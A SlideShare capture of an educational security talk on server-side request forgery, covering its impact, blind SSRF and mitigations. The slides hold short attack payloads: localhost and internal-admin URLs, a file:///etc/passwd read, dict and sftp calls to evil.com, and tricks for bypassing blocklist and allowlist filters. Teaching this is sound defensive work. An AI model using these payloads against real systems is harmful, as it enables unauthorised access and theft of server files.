SlideShare a Scribd company logo
1 of 24
Server side Request
Forgery
Exploit the trust relationship
Twitter- @trouble1_raunak
Myself- Raunak Pamar
 Learning web security
 Whitebox / blackbox pentester
 Bug hunter
 Speaker
 Student
AGENDA
 What is SSRF?
 Impact Of SSRF?
 Attacks Against Server Itself
 Why do applications behave in this way?
 Attacks against other back-end system
 Bypassing filters
 White listing
 Black listing
 Blind SSRF
What is SSRF?
 It's a server side attack where an
attacker can create a HTTP request
from the server to internal servers
or external server.
 In simple language SSRF can create
request to itself (http://localhost/)
or other servers
(http://attackerserver.com)
Impact Of SSRF (Exploit the trust relationships)
 Breaking relationship
 SSRF attacks often exploit trust relationships to escalate an attack
from the vulnerable application
 These relationships might exit in relation to server itself to other
back-end sever systems within the same organization
 A successful SSRF attack can often result in
 Unauthorized actions or access to data within the organization.
 Or other back-end systems that the application can Communicate
 Sometimes even arbitrary command execution.
Attacks Against Server Itself
 In SSRF attacker induces the
application to make an HTTP request
back to the server that is hosting the
application, via its loopback network
interface.
 URL with a hostname like 127.0.0.1(a
reserved ip address) or localhost
(a commonly used name for same
adapter)
Attacks Against Server Itself
Example:
POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118
stockApi=http://stock.weliketoshop.net:8080/product/stock/check?productId=6&storeId=1
Attacker Comes in
stockApi=http://localhost/admin
Attacks Against Server Itself
 Now the attacker could just fetch for /admin page but
administrative functionality is ordinarily accessible only to
suitable users only.
 But here the request is made from the server side so the
access controls are bypassed.
 And application grants full access, because the request appears
to originate from trusted location.
Attacks Against Server Itself
URL schemas
 file:// - Allow attacker to fetch files
 http://example.com/ssrf.php?url=file:///etc/passwd
 dict:// - Used to refer to definitions or word lists
 http://example.com/ssrf.php?dict://evil.com:1337/
 tftp:// - allows a client to get a file from or put a file
 http://example.com/ssrf.php?url=sftp://evil.com:1337/
Why do applications behave in this way?
 Why do applications trust requests that come from the local
machine?
1. The access control check might be implemented in a different
component.
2. The application might allow administrative access without
logging.
3. The administrative interface might be listening on a different
port number.
 These kind of trust relationships, where requests originating from the
local machine are handled differently than ordinary requests, is
often what makes SSRF into a critical vulnerability.
Attacks against other back-end system
 Another type of trust relationship that often arises with server-
side request forgery is where the application server is able to
interact with other back-end systems that are not directly
reachable by users.
 eg, suppose there is an administrative interface at the back-end
URL https://192.168.0.68/admin.
POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118
stockApi=http://192.168.0.68/admin
Bypassing filters – Black Listing
 Some applications block input containing hostnames
like 127.0.0.1 and localhost.
1. Using an alternative IP representation of 127.0.0.1, such as
2130706433, 017700000001, 127.1
http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ = example.com
2. Registering your own domain name that resolves to 127.0.0.1
You can use spoofed.burpcollaborator.net for this purpose.
3. Obfuscating blocked strings using URL encoding or case variation.
All bypassing techniques
Bypassing filters – White Listing
 Some applications only allow input that matches, begins with, or
contains, a whitelist of permitted values.
 https://127.0.0.1@evil-host
 https://evil-host#127.0.0.1
 https://127.0.0.1.evil-host
 You can use combinations of these techniques together.
All bypassing techniques
Where to look for SSRF?
 Webhooks:
 Look for services that makes HHTP request when certain events
happen.
 PDF Generators:
 Try <iframe>, <imp> or <script> elements or CSS url()
 Link expansions:
 Try looking for features that get you a web page for link
 File uploads:
 Try sending URL and see if it downloads the Content
Blind SSRF
 What is blind SSRF?
 When response from the back-end request is not returned in the
application's front-end response
 What is the impact of blind SSRF vulnerabilities?
 Impact is often lower than fully informed SSRF. They cannot be
trivially exploited to retrieve sensitive data from back-end
systems but in some situation they can be exploited to achieve
full RCE
Blind SSRF
 How to find blind SSRF vulnerabilities?
 Using out-of-band techniques
• This involves attempting to trigger an HTTP request to an external system that you control,
and monitoring for network interactions with that system
 The easiest and most effective way to do out-of-band techniques is using burp
Collaborator
• It will create unique domain name.
• Monitor for any interaction with those domains
• If Request is observed coming from the application then it is vulnerable
Blind SSRF
 USE http://pingb.in/ to verify SSRF
Demo
MITIGATION
Avoid user input that
can make requests on
behalf of the server.
1
Sanitize and filter user
input.
2
Use whitelist of
allowed domains and
protocols
3
Where you can practise and learn SSRF?
o https://portswigger.net/web-
security/ssrf
Reference Links
 https://medium.com/bugbountywriteup/server-side-request-forgery-ssrf-testing-b9dfe57cca35
 https://www.shorebreaksecurity.com/blog/ssrfs-up-real-world-server-side-request-forgery-ssrf/
 https://hackerone.com/reports/115748
 https://www.kernelpicnic.net/2017/05/29/Pivoting-from-blind-SSRF-to-RCE-with-Hashicorp-Consul.html
 https://geleta.eu/2019/my-first-ssrf-using-dns-rebinfing/
 https://medium.com/@androgaming1912/gain-adfly-smtp-access-with-ssrf-via-gopher-protocol-
26a26d0ec2cb
 https://medium.com/@armaanpathan/pdfreacter-ssrf-to-root-level-local-file-read-which-led-to-rce-
eb460ffb3129
 https://www.youtube.com/watch?v=D1S-G8rJrEk
Contact me
trouble1_raunak
Q & A
Thank you

More Related Content

What's hot

WAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ BehaviourWAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ BehaviourSoroush Dalili
 
Web Application Penetration Testing
Web Application Penetration Testing Web Application Penetration Testing
Web Application Penetration Testing Priyanka Aash
 
Basics of Server Side Template Injection
Basics of Server Side Template InjectionBasics of Server Side Template Injection
Basics of Server Side Template InjectionVandana Verma
 
Host Header injection - Slides
Host Header injection - SlidesHost Header injection - Slides
Host Header injection - SlidesAmit Dubey
 
Web application security & Testing
Web application security  & TestingWeb application security  & Testing
Web application security & TestingDeepu S Nath
 
The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016
The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016
The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016Frans Rosén
 
Cross Site Scripting (XSS)
Cross Site Scripting (XSS)Cross Site Scripting (XSS)
Cross Site Scripting (XSS)Barrel Software
 
Waf bypassing Techniques
Waf bypassing TechniquesWaf bypassing Techniques
Waf bypassing TechniquesAvinash Thapa
 
Introduction to penetration testing
Introduction to penetration testingIntroduction to penetration testing
Introduction to penetration testingAmine SAIGHI
 
Cross Site Request Forgery
Cross Site Request ForgeryCross Site Request Forgery
Cross Site Request ForgeryTony Bibbs
 
Pentesting Rest API's by :- Gaurang Bhatnagar
Pentesting Rest API's by :- Gaurang BhatnagarPentesting Rest API's by :- Gaurang Bhatnagar
Pentesting Rest API's by :- Gaurang BhatnagarOWASP Delhi
 
Attacking thru HTTP Host header
Attacking thru HTTP Host headerAttacking thru HTTP Host header
Attacking thru HTTP Host headerSergey Belov
 
Bug Bounty Hunter Methodology - Nullcon 2016
Bug Bounty Hunter Methodology - Nullcon 2016Bug Bounty Hunter Methodology - Nullcon 2016
Bug Bounty Hunter Methodology - Nullcon 2016bugcrowd
 
Cross site scripting attacks and defenses
Cross site scripting attacks and defensesCross site scripting attacks and defenses
Cross site scripting attacks and defensesMohammed A. Imran
 
Server-side template injection- Slides
Server-side template injection- Slides Server-side template injection- Slides
Server-side template injection- Slides Amit Dubey
 
WTF is Penetration Testing v.2
WTF is Penetration Testing v.2WTF is Penetration Testing v.2
WTF is Penetration Testing v.2Scott Sutherland
 
Cross site scripting
Cross site scriptingCross site scripting
Cross site scriptingkinish kumar
 

What's hot (20)

WAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ BehaviourWAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
 
File inclusion
File inclusionFile inclusion
File inclusion
 
Web Application Penetration Testing
Web Application Penetration Testing Web Application Penetration Testing
Web Application Penetration Testing
 
Basics of Server Side Template Injection
Basics of Server Side Template InjectionBasics of Server Side Template Injection
Basics of Server Side Template Injection
 
Host Header injection - Slides
Host Header injection - SlidesHost Header injection - Slides
Host Header injection - Slides
 
Web application security & Testing
Web application security  & TestingWeb application security  & Testing
Web application security & Testing
 
The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016
The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016
The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016
 
Pentesting ReST API
Pentesting ReST APIPentesting ReST API
Pentesting ReST API
 
Cross Site Scripting (XSS)
Cross Site Scripting (XSS)Cross Site Scripting (XSS)
Cross Site Scripting (XSS)
 
Waf bypassing Techniques
Waf bypassing TechniquesWaf bypassing Techniques
Waf bypassing Techniques
 
Introduction to penetration testing
Introduction to penetration testingIntroduction to penetration testing
Introduction to penetration testing
 
Cross Site Request Forgery
Cross Site Request ForgeryCross Site Request Forgery
Cross Site Request Forgery
 
Pentesting Rest API's by :- Gaurang Bhatnagar
Pentesting Rest API's by :- Gaurang BhatnagarPentesting Rest API's by :- Gaurang Bhatnagar
Pentesting Rest API's by :- Gaurang Bhatnagar
 
Attacking thru HTTP Host header
Attacking thru HTTP Host headerAttacking thru HTTP Host header
Attacking thru HTTP Host header
 
Bug Bounty Hunter Methodology - Nullcon 2016
Bug Bounty Hunter Methodology - Nullcon 2016Bug Bounty Hunter Methodology - Nullcon 2016
Bug Bounty Hunter Methodology - Nullcon 2016
 
Cross site scripting attacks and defenses
Cross site scripting attacks and defensesCross site scripting attacks and defenses
Cross site scripting attacks and defenses
 
Server-side template injection- Slides
Server-side template injection- Slides Server-side template injection- Slides
Server-side template injection- Slides
 
WTF is Penetration Testing v.2
WTF is Penetration Testing v.2WTF is Penetration Testing v.2
WTF is Penetration Testing v.2
 
Cross site scripting
Cross site scriptingCross site scripting
Cross site scripting
 
Xss attack
Xss attackXss attack
Xss attack
 

Similar to Server Side Request Forgery: Exploit Trust Relationships

A8 cross site request forgery (csrf) it 6873 presentation
A8 cross site request forgery (csrf)   it 6873 presentationA8 cross site request forgery (csrf)   it 6873 presentation
A8 cross site request forgery (csrf) it 6873 presentationAlbena Asenova-Belal
 
VAPT_FINAL SLIDES.pptx
VAPT_FINAL SLIDES.pptxVAPT_FINAL SLIDES.pptx
VAPT_FINAL SLIDES.pptxkarthikvcyber
 
Secure Form Processing and Protection - Devspace 2015
Secure Form Processing and Protection - Devspace 2015 Secure Form Processing and Protection - Devspace 2015
Secure Form Processing and Protection - Devspace 2015 Joe Ferguson
 
Manindra kishore _incident_handling_n_log_analysis - ClubHack2009
Manindra kishore _incident_handling_n_log_analysis - ClubHack2009Manindra kishore _incident_handling_n_log_analysis - ClubHack2009
Manindra kishore _incident_handling_n_log_analysis - ClubHack2009ClubHack
 
Securing Your WordPress Website - WordCamp GC 2011
Securing Your WordPress Website - WordCamp GC 2011Securing Your WordPress Website - WordCamp GC 2011
Securing Your WordPress Website - WordCamp GC 2011Vlad Lasky
 
Securing Your WordPress Website by Vlad Lasky
Securing Your WordPress Website by Vlad LaskySecuring Your WordPress Website by Vlad Lasky
Securing Your WordPress Website by Vlad Laskywordcampgc
 
Cyber security
Cyber securityCyber security
Cyber securitySakib Sami
 
VAPT PRESENTATION full.pptx
VAPT PRESENTATION full.pptxVAPT PRESENTATION full.pptx
VAPT PRESENTATION full.pptxDARSHANBHAVSAR14
 
Cyber Security-Ethical Hacking
Cyber Security-Ethical HackingCyber Security-Ethical Hacking
Cyber Security-Ethical HackingViral Parmar
 
Secure programming with php
Secure programming with phpSecure programming with php
Secure programming with phpMohmad Feroz
 
Web Application Security
Web Application SecurityWeb Application Security
Web Application SecurityChris Hillman
 
Cross Site Request Forgery Vulnerabilities
Cross Site Request Forgery VulnerabilitiesCross Site Request Forgery Vulnerabilities
Cross Site Request Forgery VulnerabilitiesMarco Morana
 
Web application sec_3
Web application sec_3Web application sec_3
Web application sec_3vhimsikal
 
Web Exploitation Security
Web Exploitation SecurityWeb Exploitation Security
Web Exploitation SecurityAman Singh
 
Unifi securitybugs sep2013
Unifi securitybugs sep2013Unifi securitybugs sep2013
Unifi securitybugs sep2013testslidesha12
 
Infrastructure security & Incident Management
Infrastructure security & Incident Management Infrastructure security & Incident Management
Infrastructure security & Incident Management nullowaspmumbai
 
Are you fighting_new_threats_with_old_weapons
Are you fighting_new_threats_with_old_weaponsAre you fighting_new_threats_with_old_weapons
Are you fighting_new_threats_with_old_weaponsBhargav Modi
 

Similar to Server Side Request Forgery: Exploit Trust Relationships (20)

A8 cross site request forgery (csrf) it 6873 presentation
A8 cross site request forgery (csrf)   it 6873 presentationA8 cross site request forgery (csrf)   it 6873 presentation
A8 cross site request forgery (csrf) it 6873 presentation
 
VAPT_FINAL SLIDES.pptx
VAPT_FINAL SLIDES.pptxVAPT_FINAL SLIDES.pptx
VAPT_FINAL SLIDES.pptx
 
Secure Form Processing and Protection - Devspace 2015
Secure Form Processing and Protection - Devspace 2015 Secure Form Processing and Protection - Devspace 2015
Secure Form Processing and Protection - Devspace 2015
 
Manindra kishore _incident_handling_n_log_analysis - ClubHack2009
Manindra kishore _incident_handling_n_log_analysis - ClubHack2009Manindra kishore _incident_handling_n_log_analysis - ClubHack2009
Manindra kishore _incident_handling_n_log_analysis - ClubHack2009
 
Securing Your WordPress Website - WordCamp GC 2011
Securing Your WordPress Website - WordCamp GC 2011Securing Your WordPress Website - WordCamp GC 2011
Securing Your WordPress Website - WordCamp GC 2011
 
Securing Your WordPress Website by Vlad Lasky
Securing Your WordPress Website by Vlad LaskySecuring Your WordPress Website by Vlad Lasky
Securing Your WordPress Website by Vlad Lasky
 
Cyber security
Cyber securityCyber security
Cyber security
 
OWASP
OWASPOWASP
OWASP
 
VAPT PRESENTATION full.pptx
VAPT PRESENTATION full.pptxVAPT PRESENTATION full.pptx
VAPT PRESENTATION full.pptx
 
Cyber Security-Ethical Hacking
Cyber Security-Ethical HackingCyber Security-Ethical Hacking
Cyber Security-Ethical Hacking
 
2071
20712071
2071
 
Secure programming with php
Secure programming with phpSecure programming with php
Secure programming with php
 
Web Application Security
Web Application SecurityWeb Application Security
Web Application Security
 
Cross Site Request Forgery Vulnerabilities
Cross Site Request Forgery VulnerabilitiesCross Site Request Forgery Vulnerabilities
Cross Site Request Forgery Vulnerabilities
 
Web application sec_3
Web application sec_3Web application sec_3
Web application sec_3
 
OWASP Top10 2010
OWASP Top10 2010OWASP Top10 2010
OWASP Top10 2010
 
Web Exploitation Security
Web Exploitation SecurityWeb Exploitation Security
Web Exploitation Security
 
Unifi securitybugs sep2013
Unifi securitybugs sep2013Unifi securitybugs sep2013
Unifi securitybugs sep2013
 
Infrastructure security & Incident Management
Infrastructure security & Incident Management Infrastructure security & Incident Management
Infrastructure security & Incident Management
 
Are you fighting_new_threats_with_old_weapons
Are you fighting_new_threats_with_old_weaponsAre you fighting_new_threats_with_old_weapons
Are you fighting_new_threats_with_old_weapons
 

More from n|u - The Open Security Community

Gibson 101 -quick_introduction_to_hacking_mainframes_in_2020_null_infosec_gir...
Gibson 101 -quick_introduction_to_hacking_mainframes_in_2020_null_infosec_gir...Gibson 101 -quick_introduction_to_hacking_mainframes_in_2020_null_infosec_gir...
Gibson 101 -quick_introduction_to_hacking_mainframes_in_2020_null_infosec_gir...n|u - The Open Security Community
 

More from n|u - The Open Security Community (20)

Hardware security testing 101 (Null - Delhi Chapter)
Hardware security testing 101 (Null - Delhi Chapter)Hardware security testing 101 (Null - Delhi Chapter)
Hardware security testing 101 (Null - Delhi Chapter)
 
Osint primer
Osint primerOsint primer
Osint primer
 
Nmap basics
Nmap basicsNmap basics
Nmap basics
 
Metasploit primary
Metasploit primaryMetasploit primary
Metasploit primary
 
Api security-testing
Api security-testingApi security-testing
Api security-testing
 
Introduction to TLS 1.3
Introduction to TLS 1.3Introduction to TLS 1.3
Introduction to TLS 1.3
 
Gibson 101 -quick_introduction_to_hacking_mainframes_in_2020_null_infosec_gir...
Gibson 101 -quick_introduction_to_hacking_mainframes_in_2020_null_infosec_gir...Gibson 101 -quick_introduction_to_hacking_mainframes_in_2020_null_infosec_gir...
Gibson 101 -quick_introduction_to_hacking_mainframes_in_2020_null_infosec_gir...
 
Talking About SSRF,CRLF
Talking About SSRF,CRLFTalking About SSRF,CRLF
Talking About SSRF,CRLF
 
Building active directory lab for red teaming
Building active directory lab for red teamingBuilding active directory lab for red teaming
Building active directory lab for red teaming
 
Owning a company through their logs
Owning a company through their logsOwning a company through their logs
Owning a company through their logs
 
Introduction to shodan
Introduction to shodanIntroduction to shodan
Introduction to shodan
 
Cloud security
Cloud security Cloud security
Cloud security
 
Detecting persistence in windows
Detecting persistence in windowsDetecting persistence in windows
Detecting persistence in windows
 
Frida - Objection Tool Usage
Frida - Objection Tool UsageFrida - Objection Tool Usage
Frida - Objection Tool Usage
 
OSQuery - Monitoring System Process
OSQuery - Monitoring System ProcessOSQuery - Monitoring System Process
OSQuery - Monitoring System Process
 
DevSecOps Jenkins Pipeline -Security
DevSecOps Jenkins Pipeline -SecurityDevSecOps Jenkins Pipeline -Security
DevSecOps Jenkins Pipeline -Security
 
Extensible markup language attacks
Extensible markup language attacksExtensible markup language attacks
Extensible markup language attacks
 
Linux for hackers
Linux for hackersLinux for hackers
Linux for hackers
 
Android Pentesting
Android PentestingAndroid Pentesting
Android Pentesting
 
News bytes null 200314121904
News bytes null 200314121904News bytes null 200314121904
News bytes null 200314121904
 

Recently uploaded

Kisan Call Centre - To harness potential of ICT in Agriculture by answer farm...
Kisan Call Centre - To harness potential of ICT in Agriculture by answer farm...Kisan Call Centre - To harness potential of ICT in Agriculture by answer farm...
Kisan Call Centre - To harness potential of ICT in Agriculture by answer farm...Krashi Coaching
 
How to Make a Pirate ship Primary Education.pptx
How to Make a Pirate ship Primary Education.pptxHow to Make a Pirate ship Primary Education.pptx
How to Make a Pirate ship Primary Education.pptxmanuelaromero2013
 
Incoming and Outgoing Shipments in 1 STEP Using Odoo 17
Incoming and Outgoing Shipments in 1 STEP Using Odoo 17Incoming and Outgoing Shipments in 1 STEP Using Odoo 17
Incoming and Outgoing Shipments in 1 STEP Using Odoo 17Celine George
 
Separation of Lanthanides/ Lanthanides and Actinides
Separation of Lanthanides/ Lanthanides and ActinidesSeparation of Lanthanides/ Lanthanides and Actinides
Separation of Lanthanides/ Lanthanides and ActinidesFatimaKhan178732
 
Introduction to ArtificiaI Intelligence in Higher Education
Introduction to ArtificiaI Intelligence in Higher EducationIntroduction to ArtificiaI Intelligence in Higher Education
Introduction to ArtificiaI Intelligence in Higher Educationpboyjonauth
 
Accessible design: Minimum effort, maximum impact
Accessible design: Minimum effort, maximum impactAccessible design: Minimum effort, maximum impact
Accessible design: Minimum effort, maximum impactdawncurless
 
Employee wellbeing at the workplace.pptx
Employee wellbeing at the workplace.pptxEmployee wellbeing at the workplace.pptx
Employee wellbeing at the workplace.pptxNirmalaLoungPoorunde1
 
Interactive Powerpoint_How to Master effective communication
Interactive Powerpoint_How to Master effective communicationInteractive Powerpoint_How to Master effective communication
Interactive Powerpoint_How to Master effective communicationnomboosow
 
ECONOMIC CONTEXT - LONG FORM TV DRAMA - PPT
ECONOMIC CONTEXT - LONG FORM TV DRAMA - PPTECONOMIC CONTEXT - LONG FORM TV DRAMA - PPT
ECONOMIC CONTEXT - LONG FORM TV DRAMA - PPTiammrhaywood
 
call girls in Kamla Market (DELHI) 🔝 >༒9953330565🔝 genuine Escort Service 🔝✔️✔️
call girls in Kamla Market (DELHI) 🔝 >༒9953330565🔝 genuine Escort Service 🔝✔️✔️call girls in Kamla Market (DELHI) 🔝 >༒9953330565🔝 genuine Escort Service 🔝✔️✔️
call girls in Kamla Market (DELHI) 🔝 >༒9953330565🔝 genuine Escort Service 🔝✔️✔️9953056974 Low Rate Call Girls In Saket, Delhi NCR
 
How to Configure Email Server in Odoo 17
How to Configure Email Server in Odoo 17How to Configure Email Server in Odoo 17
How to Configure Email Server in Odoo 17Celine George
 
Paris 2024 Olympic Geographies - an activity
Paris 2024 Olympic Geographies - an activityParis 2024 Olympic Geographies - an activity
Paris 2024 Olympic Geographies - an activityGeoBlogs
 
Science 7 - LAND and SEA BREEZE and its Characteristics
Science 7 - LAND and SEA BREEZE and its CharacteristicsScience 7 - LAND and SEA BREEZE and its Characteristics
Science 7 - LAND and SEA BREEZE and its CharacteristicsKarinaGenton
 
BASLIQ CURRENT LOOKBOOK LOOKBOOK(1) (1).pdf
BASLIQ CURRENT LOOKBOOK  LOOKBOOK(1) (1).pdfBASLIQ CURRENT LOOKBOOK  LOOKBOOK(1) (1).pdf
BASLIQ CURRENT LOOKBOOK LOOKBOOK(1) (1).pdfSoniaTolstoy
 
A Critique of the Proposed National Education Policy Reform
A Critique of the Proposed National Education Policy ReformA Critique of the Proposed National Education Policy Reform
A Critique of the Proposed National Education Policy ReformChameera Dedduwage
 
Class 11 Legal Studies Ch-1 Concept of State .pdf
Class 11 Legal Studies Ch-1 Concept of State .pdfClass 11 Legal Studies Ch-1 Concept of State .pdf
Class 11 Legal Studies Ch-1 Concept of State .pdfakmcokerachita
 
Sanyam Choudhary Chemistry practical.pdf
Sanyam Choudhary Chemistry practical.pdfSanyam Choudhary Chemistry practical.pdf
Sanyam Choudhary Chemistry practical.pdfsanyamsingh5019
 

Recently uploaded (20)

Kisan Call Centre - To harness potential of ICT in Agriculture by answer farm...
Kisan Call Centre - To harness potential of ICT in Agriculture by answer farm...Kisan Call Centre - To harness potential of ICT in Agriculture by answer farm...
Kisan Call Centre - To harness potential of ICT in Agriculture by answer farm...
 
Model Call Girl in Bikash Puri Delhi reach out to us at 🔝9953056974🔝
Model Call Girl in Bikash Puri  Delhi reach out to us at 🔝9953056974🔝Model Call Girl in Bikash Puri  Delhi reach out to us at 🔝9953056974🔝
Model Call Girl in Bikash Puri Delhi reach out to us at 🔝9953056974🔝
 
How to Make a Pirate ship Primary Education.pptx
How to Make a Pirate ship Primary Education.pptxHow to Make a Pirate ship Primary Education.pptx
How to Make a Pirate ship Primary Education.pptx
 
Incoming and Outgoing Shipments in 1 STEP Using Odoo 17
Incoming and Outgoing Shipments in 1 STEP Using Odoo 17Incoming and Outgoing Shipments in 1 STEP Using Odoo 17
Incoming and Outgoing Shipments in 1 STEP Using Odoo 17
 
Separation of Lanthanides/ Lanthanides and Actinides
Separation of Lanthanides/ Lanthanides and ActinidesSeparation of Lanthanides/ Lanthanides and Actinides
Separation of Lanthanides/ Lanthanides and Actinides
 
Introduction to ArtificiaI Intelligence in Higher Education
Introduction to ArtificiaI Intelligence in Higher EducationIntroduction to ArtificiaI Intelligence in Higher Education
Introduction to ArtificiaI Intelligence in Higher Education
 
Accessible design: Minimum effort, maximum impact
Accessible design: Minimum effort, maximum impactAccessible design: Minimum effort, maximum impact
Accessible design: Minimum effort, maximum impact
 
Employee wellbeing at the workplace.pptx
Employee wellbeing at the workplace.pptxEmployee wellbeing at the workplace.pptx
Employee wellbeing at the workplace.pptx
 
Interactive Powerpoint_How to Master effective communication
Interactive Powerpoint_How to Master effective communicationInteractive Powerpoint_How to Master effective communication
Interactive Powerpoint_How to Master effective communication
 
ECONOMIC CONTEXT - LONG FORM TV DRAMA - PPT
ECONOMIC CONTEXT - LONG FORM TV DRAMA - PPTECONOMIC CONTEXT - LONG FORM TV DRAMA - PPT
ECONOMIC CONTEXT - LONG FORM TV DRAMA - PPT
 
call girls in Kamla Market (DELHI) 🔝 >༒9953330565🔝 genuine Escort Service 🔝✔️✔️
call girls in Kamla Market (DELHI) 🔝 >༒9953330565🔝 genuine Escort Service 🔝✔️✔️call girls in Kamla Market (DELHI) 🔝 >༒9953330565🔝 genuine Escort Service 🔝✔️✔️
call girls in Kamla Market (DELHI) 🔝 >༒9953330565🔝 genuine Escort Service 🔝✔️✔️
 
How to Configure Email Server in Odoo 17
How to Configure Email Server in Odoo 17How to Configure Email Server in Odoo 17
How to Configure Email Server in Odoo 17
 
Paris 2024 Olympic Geographies - an activity
Paris 2024 Olympic Geographies - an activityParis 2024 Olympic Geographies - an activity
Paris 2024 Olympic Geographies - an activity
 
Science 7 - LAND and SEA BREEZE and its Characteristics
Science 7 - LAND and SEA BREEZE and its CharacteristicsScience 7 - LAND and SEA BREEZE and its Characteristics
Science 7 - LAND and SEA BREEZE and its Characteristics
 
9953330565 Low Rate Call Girls In Rohini Delhi NCR
9953330565 Low Rate Call Girls In Rohini  Delhi NCR9953330565 Low Rate Call Girls In Rohini  Delhi NCR
9953330565 Low Rate Call Girls In Rohini Delhi NCR
 
BASLIQ CURRENT LOOKBOOK LOOKBOOK(1) (1).pdf
BASLIQ CURRENT LOOKBOOK  LOOKBOOK(1) (1).pdfBASLIQ CURRENT LOOKBOOK  LOOKBOOK(1) (1).pdf
BASLIQ CURRENT LOOKBOOK LOOKBOOK(1) (1).pdf
 
Código Creativo y Arte de Software | Unidad 1
Código Creativo y Arte de Software | Unidad 1Código Creativo y Arte de Software | Unidad 1
Código Creativo y Arte de Software | Unidad 1
 
A Critique of the Proposed National Education Policy Reform
A Critique of the Proposed National Education Policy ReformA Critique of the Proposed National Education Policy Reform
A Critique of the Proposed National Education Policy Reform
 
Class 11 Legal Studies Ch-1 Concept of State .pdf
Class 11 Legal Studies Ch-1 Concept of State .pdfClass 11 Legal Studies Ch-1 Concept of State .pdf
Class 11 Legal Studies Ch-1 Concept of State .pdf
 
Sanyam Choudhary Chemistry practical.pdf
Sanyam Choudhary Chemistry practical.pdfSanyam Choudhary Chemistry practical.pdf
Sanyam Choudhary Chemistry practical.pdf
 

Server Side Request Forgery: Exploit Trust Relationships

  • 1. Server side Request Forgery Exploit the trust relationship Twitter- @trouble1_raunak
  • 2. Myself- Raunak Pamar  Learning web security  Whitebox / blackbox pentester  Bug hunter  Speaker  Student
  • 3. AGENDA  What is SSRF?  Impact Of SSRF?  Attacks Against Server Itself  Why do applications behave in this way?  Attacks against other back-end system  Bypassing filters  White listing  Black listing  Blind SSRF
  • 4. What is SSRF?  It's a server side attack where an attacker can create a HTTP request from the server to internal servers or external server.  In simple language SSRF can create request to itself (http://localhost/) or other servers (http://attackerserver.com)
  • 5. Impact Of SSRF (Exploit the trust relationships)  Breaking relationship  SSRF attacks often exploit trust relationships to escalate an attack from the vulnerable application  These relationships might exit in relation to server itself to other back-end sever systems within the same organization  A successful SSRF attack can often result in  Unauthorized actions or access to data within the organization.  Or other back-end systems that the application can Communicate  Sometimes even arbitrary command execution.
  • 6. Attacks Against Server Itself  In SSRF attacker induces the application to make an HTTP request back to the server that is hosting the application, via its loopback network interface.  URL with a hostname like 127.0.0.1(a reserved ip address) or localhost (a commonly used name for same adapter)
  • 7. Attacks Against Server Itself Example: POST /product/stock HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 118 stockApi=http://stock.weliketoshop.net:8080/product/stock/check?productId=6&storeId=1 Attacker Comes in stockApi=http://localhost/admin
  • 8. Attacks Against Server Itself  Now the attacker could just fetch for /admin page but administrative functionality is ordinarily accessible only to suitable users only.  But here the request is made from the server side so the access controls are bypassed.  And application grants full access, because the request appears to originate from trusted location.
  • 9. Attacks Against Server Itself URL schemas  file:// - Allow attacker to fetch files  http://example.com/ssrf.php?url=file:///etc/passwd  dict:// - Used to refer to definitions or word lists  http://example.com/ssrf.php?dict://evil.com:1337/  tftp:// - allows a client to get a file from or put a file  http://example.com/ssrf.php?url=sftp://evil.com:1337/
  • 10. Why do applications behave in this way?  Why do applications trust requests that come from the local machine? 1. The access control check might be implemented in a different component. 2. The application might allow administrative access without logging. 3. The administrative interface might be listening on a different port number.  These kind of trust relationships, where requests originating from the local machine are handled differently than ordinary requests, is often what makes SSRF into a critical vulnerability.
  • 11. Attacks against other back-end system  Another type of trust relationship that often arises with server- side request forgery is where the application server is able to interact with other back-end systems that are not directly reachable by users.  eg, suppose there is an administrative interface at the back-end URL https://192.168.0.68/admin. POST /product/stock HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 118 stockApi=http://192.168.0.68/admin
  • 12. Bypassing filters – Black Listing  Some applications block input containing hostnames like 127.0.0.1 and localhost. 1. Using an alternative IP representation of 127.0.0.1, such as 2130706433, 017700000001, 127.1 http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ = example.com 2. Registering your own domain name that resolves to 127.0.0.1 You can use spoofed.burpcollaborator.net for this purpose. 3. Obfuscating blocked strings using URL encoding or case variation. All bypassing techniques
  • 13. Bypassing filters – White Listing  Some applications only allow input that matches, begins with, or contains, a whitelist of permitted values.  https://127.0.0.1@evil-host  https://evil-host#127.0.0.1  https://127.0.0.1.evil-host  You can use combinations of these techniques together. All bypassing techniques
  • 14. Where to look for SSRF?  Webhooks:  Look for services that makes HHTP request when certain events happen.  PDF Generators:  Try <iframe>, <imp> or <script> elements or CSS url()  Link expansions:  Try looking for features that get you a web page for link  File uploads:  Try sending URL and see if it downloads the Content
  • 15. Blind SSRF  What is blind SSRF?  When response from the back-end request is not returned in the application's front-end response  What is the impact of blind SSRF vulnerabilities?  Impact is often lower than fully informed SSRF. They cannot be trivially exploited to retrieve sensitive data from back-end systems but in some situation they can be exploited to achieve full RCE
  • 16. Blind SSRF  How to find blind SSRF vulnerabilities?  Using out-of-band techniques • This involves attempting to trigger an HTTP request to an external system that you control, and monitoring for network interactions with that system  The easiest and most effective way to do out-of-band techniques is using burp Collaborator • It will create unique domain name. • Monitor for any interaction with those domains • If Request is observed coming from the application then it is vulnerable
  • 17. Blind SSRF  USE http://pingb.in/ to verify SSRF
  • 18. Demo
